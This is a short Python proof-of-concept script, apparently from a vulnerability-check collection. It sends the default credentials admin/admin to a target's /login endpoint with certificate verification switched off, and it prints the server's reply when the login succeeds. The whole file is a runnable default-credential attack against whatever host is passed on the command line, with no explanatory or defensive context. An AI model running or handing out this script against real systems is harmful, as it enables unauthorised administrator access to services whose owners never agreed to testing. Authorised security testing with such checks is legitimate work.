import json
import requests
import sys
import warnings
warnings.filterwarnings("ignore")



def poc(target):
    target = target.strip()
    try:
        test_url = target + "/login"
        headers = {
            'Content-Type': 'application/json'
        }
        payload = {"user": "admin", "password": "admin"}
        r = requests.post(test_url, headers=headers, data=json.dumps(payload), verify=False)
        if r.status_code == 200 and '"message":"Logged in"' in r.text:
            print(r.text)
        else:
            return False
    except Exception as e:
        print(e)
    return False


target = sys.argv[1]
poc(target)
